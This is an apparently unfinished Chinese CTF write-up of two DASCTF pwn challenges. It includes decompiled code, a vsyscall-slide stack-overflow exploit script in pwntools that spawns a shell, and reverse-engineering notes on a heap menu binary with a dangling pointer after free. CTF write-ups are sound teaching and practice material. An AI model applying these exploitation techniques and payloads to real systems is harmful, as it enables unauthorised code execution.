七夕_DASCTF_pwn_复现
0x1 magic_number
分析
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-30h]
int v5; // [rsp+2Ch] [rbp-4h]
sub_5559684A09A0(a1, a2, a3);
v5 = rand();
if ( v5 == 305419896 )
system("/bin/sh");
puts("Your Input :");
read(0, &buf, 0x100uLL);
return 0LL;
}
存在栈溢出,而且给了 system('/bin/sh') ,我们想办法调用即可。
ki@ki-virtual-machine:/mnt/hgfs/gx16$ checksec pwn1
[*] '/mnt/hgfs/gx16/pwn1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开启了 pie ,但是没开 cannary ,可以用 vsyscall 滑栈拿 shell 。看一下栈的情况:
覆盖 main 低位为 system("/bin/sh") 的地址,返回地址至 main 处填上 vsyscall 中的 vgettimeofday 地址即可。
PS:这题我测了下,16 跟 18 都可以,所以使用 vsyscall 滑栈在 pie 开启且没有给 libc 的情况下是挺实用的。
exp
from pwn import *
file_name = './pwn1'
libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)
libc = elf.libc
syscall_vgettimeofday = 0xffffffffff600000
payload = 'a' * 0x38 + p64(0xffffffffff600000) * 4 + '\xa8'
p.send(payload)
p.interactive()
0x2 Silly_white_sweet
分析
先看看程序的功能
puts addr
puts("Do you like Lao Ganma?");
return printf("Nanshan Pizza Hut give you a gift : %p\n", &puts);
题目首先给了 puts 函数的地址,初始 money 为 0x40000 。
add 函数
if ( choice == 1 && a4_dword_20301C && meney_dword_203010 - 256 >= 0 )
{
*((_DWORD *)&size_203068 + 6 * idx) = 1280;
*((_QWORD *)&addr_203060 + 3 * idx) = malloc(0x500uLL);
puts("Please write the paper content:");
read(0, *((void **)&addr_203060 + 3 * idx), 0x499uLL);
--a4_dword_20301C;
puts("You cost $256 for sign a new contract!");
meney_dword_203010 -= 256;
result = inuse_dword_203070;
inuse_dword_203070[6 * idx] = 1;
}
else
{
if ( choice != 2 || !a1_dword_203018 || meney_dword_203010 - 256 < 0 )
my_exit();
*((_DWORD *)&size_203068 + 6 * idx) = 18592;
*((_QWORD *)&addr_203060 + 3 * idx) = malloc(*((signed int *)&size_203068 + 6 * idx));
puts("Please write the paper content:");
read(0, *((void **)&addr_203060 + 3 * idx), (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1));
--a1_dword_203018;
puts("You cost $256 for sign a new contract!");
meney_dword_203010 -= 256;
result = inuse_dword_203070;
inuse_dword_203070[6 * idx] = 1;
}
- 可以分配 0x500 和 0x48a0 两种 chunk , 每种 chunk 只能分配三次 。
- 可以往 chunk 中写 size - 1 的内容。
- 每次分配需要 256 money 。
confirm 函数
if ( idx < 0 || idx > 4 )
my_exit();
if ( !inuse_dword_203070[6 * idx] )
my_exit();
if ( *((_DWORD *)&confirm_unk_20306C + 6 * idx) )
{
puts("You already confirm it!");
my_exit();
}
if ( *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
{
puts("No!you don't have enough money!");
my_exit();
}
printf("You cost $%d to confirm contract!\n", *((unsigned int *)&size_203068 + 6 * idx));
meney_dword_203010 -= *((_DWORD *)&size_203068 + 6 * idx);
puts("Plz comfirm your contract content!");
puts(*((const char **)&addr_203060 + 3 * idx));
result = &confirm_unk_20306C;
*((_DWORD *)&confirm_unk_20306C + 6 * idx) = 1;
- idx 需要在 0 至 4 之间。
- 这个 chunk 必须被分配过。
- 这个 chunk 不能 confirm 过。
- 需要 szie 大小的 money 。
- 将 chunk 内容打印出来 ,也相当于 show 函数。
delete 函数
__isoc99_scanf("%d", &idx);
if ( idx < 0 || idx > 4 )
my_exit();
if ( !inuse_dword_203070[6 * idx] )
my_exit();
if ( !*((_DWORD *)&confirm_unk_20306C + 6 * idx) )
{
puts("plz confirm it first!");
my_exit();
}
if ( 2 * *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
{
puts("No!you don't have enough money!");
my_exit();
}
printf(
"You cost $%d for unilaterally terminates the contract!\n",
(unsigned int)(2 * *((_DWORD *)&size_203068 + 6 * idx)));
meney_dword_203010 -= 2 * *((_DWORD *)&size_203068 + 6 * idx);
free(*((void **)&addr_203060 + 3 * idx));
inuse_dword_203070[6 * idx] = 0;
result = &confirm_unk_20306C;
*((_DWORD *)&confirm_unk_20306C + 6 * idx) = 0;
- idx 在 0 到 4 之间。
- 这个 chunk 必须被分配过。
- 这个 chunk 必须 confirm 过。
- 需要 2 * size 的 money 。
- 单纯的释放 chunk ,指针没有置 0 ,不过 inuse 位置 0 了。
show && edit 函数
if ( !dword_203014 )
{
puts("You don't have any court!");
my_exit();
}
idx = 0;
printf("Please select the contract to use :");
__isoc99_scanf("%d", &idx);
if ( idx < 0 || idx > 4 )
my_exit();
choice = 0;
printf("You want to read(1) or write(2) :", &idx);
__isoc99_scanf("%d", &choice);
if ( choice != 1 && choice != 2 )
my_exit();
if ( choice == 1 )
{
puts("This is your contract content!");
puts(*((const char **)&addr_203060 + 3 * idx));
}
else
{
v2 = 0;
printf("Please select the offset to use :", &choice);
__isoc99_scanf("%d", &v2);
if ( v2 < 0 || *((_DWORD *)&size_203068 + 6 * idx) - 1 <= v2 )
my_exit();
puts("Please change the contract content:");
read(
0,
(void *)(*((_QWORD *)&addr_203060 + 3 * idx) + v2),
(unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1 - v2));
}
printf("You will cost $%d to sue!\n", (unsigned int)(10 * *((_DWORD *)&size_203068 + 6 * idx)));
result = (unsigned int)(-10 * *((_DWORD *)&size_203068 + 6 * idx) + meney_dword_203010);
if ( (signed int)result >= 0 )
{
v1 = -10 * *((_DWORD *)&size_203068 + 6 * idx);
result = (unsigned int)(v1 + meney_dword_203010);
meney_dword_203010 += v1;
}
else
{
meney_dword_203010 = 1;
}
}
else
{
puts("No!you don't have enough money!");
result = (unsigned int)(meney_dword_203010-- - 1);
}
这其实是把 add 与 edit 函数写到了一起。
- 法院不能被 sold 了。
- money 要超过 0x10000 。
- idx 在 0 到 4 之间。
接下来进入判断分支:
read 分支:
- 打印 chunk 的内容 。
write 分支:
- 修改 chunk 内某处起的内容。
- 需要 size * 10 的 money 。
sold court
case 5u:
if ( dword_203014 )
{
puts("You sold court!");
meney_dword_203010 += 512;
dword_203014 = 0;
}
else
{
puts("You don't have any court!");
}
有一个分支可以卖法院得钱 。
(未完待续...)